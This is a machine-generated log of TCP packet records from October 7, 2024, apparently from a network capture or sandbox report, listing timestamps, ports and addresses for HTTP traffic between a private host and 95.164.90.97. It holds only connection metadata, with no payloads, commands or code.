Oct 7, 2024 03:15:47.261626005 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.261640072 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.261643887 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.261655092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.261665106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.261682987 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.261687994 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.261702061 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.261706114 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.261723995 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.261727095 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.261740923 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.261743069 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.261761904 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.261765003 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.261781931 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.261790991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.261800051 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.261809111 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.261835098 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.261840105 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.261848927 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.261857033 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.261872053 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.261877060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.261894941 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.261898994 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.261914015 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.261918068 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.261934042 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.261934996 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.261951923 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.261954069 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.261972904 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.261984110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.261992931 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262001991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262020111 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262023926 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262042046 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262048006 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262059927 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262067080 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262082100 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262085915 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262105942 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262109041 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262124062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262125015 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262145042 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262145042 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262162924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262164116 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262181044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262183905 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262203932 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262207985 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262222052 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262227058 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262244940 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262245893 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262263060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262265921 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262283087 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262290955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262300968 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262307882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262324095 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262327909 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262341022 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262352943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262366056 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262372971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262387991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262391090 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262407064 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262409925 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262424946 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262430906 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262440920 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262448072 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262466908 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262468100 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262484074 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262485981 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262501955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262504101 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262518883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262522936 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262541056 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262550116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262557983 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262567043 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262583017 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262586117 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262602091 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262602091 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262619019 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262620926 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262639046 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262648106 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262656927 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262665033 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262682915 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262684107 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262700081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262701035 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262717962 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262718916 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262737989 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262747049 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262754917 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262764931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262782097 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262785912 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262799025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262803078 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262819052 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262821913 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262837887 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262840986 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262861013 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262861013 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262881041 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262887001 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262900114 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262913942 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262927055 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262932062 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262950897 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262963057 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262968063 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.262979984 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.262995958 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.263001919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.263019085 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.263020992 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.263039112 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.263039112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.263056040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.263056993 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.263073921 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.263077021 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.263091087 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.263093948 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.263113976 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.263118982 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.263132095 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.263135910 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.263155937 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.263163090 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.263175964 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.263183117 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.263200998 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.263201952 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.263219118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.263222933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.263237953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.263242960 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.263262987 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.263279915 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.292988062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.297909021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.506918907 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.507021904 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.507033110 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.507088900 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.507095098 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.507143974 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.507150888 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.507183075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.507270098 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.507317066 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.507352114 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.507358074 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.507391930 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.507405043 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.507441044 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.507441044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.507477045 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.507493973 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.507507086 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.507529974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.507545948 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.507564068 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.507579088 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.507597923 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.507611990 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.507637024 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.507684946 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.507684946 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.507687092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.507721901 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.507738113 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.507757902 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.507771015 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.507792950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.507811069 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.507844925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.507848978 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.507901907 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.507904053 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.507937908 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.507953882 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.507972002 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.507985115 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.508006096 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.508025885 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.508040905 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.508053064 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.508088112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.508093119 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.508138895 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.508142948 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.508177042 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.508191109 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.508212090 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.508224010 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.508246899 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.508258104 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.508280993 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.508313894 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.508316994 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.508327961 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.508349895 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.508368969 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.508390903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.508421898 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.508424044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.508440018 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.508456945 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.508474112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.508491993 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.508507013 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.508526087 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.508541107 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.508562088 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.508575916 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.508598089 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.508611917 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.508632898 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.508646965 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.508667946 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.508681059 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.508702993 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.508712053 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.508738041 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.508754015 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.508774042 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.508786917 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.508807898 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.508821964 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.508842945 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.508858919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.508876085 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.508891106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.508910894 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.508922100 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.508949041 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.508960962 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.508984089 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.509001970 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.509017944 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.509032011 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.509052992 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.509067059 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.509088039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.509103060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.509121895 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.509135962 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.509154081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.509170055 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.509187937 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.509202957 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.509224892 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.509237051 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.509258986 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.509274960 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.509294033 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.509310007 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.509329081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.509344101 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.509363890 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.509378910 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.509397984 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.509413958 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.509433031 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.509454012 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.509466887 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.509480000 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.509501934 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.509516954 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.509536982 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.509551048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.509584904 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.583076954 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.583167076 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.594826937 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.599741936 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.797759056 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.797785997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.797802925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.797817945 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.797835112 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.797851086 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.797861099 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.797878027 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.797890902 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.797897100 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.797908068 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.797925949 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.797940969 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.797949076 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.797957897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.797972918 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.797988892 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.797996044 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.798015118 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.798017025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798033953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798052073 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.798067093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798077106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.798093081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798113108 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798114061 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.798130035 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798147917 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.798160076 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798171043 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.798176050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798192978 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798202991 CEST	49737	80	192.168.2.4	95.164.90.97
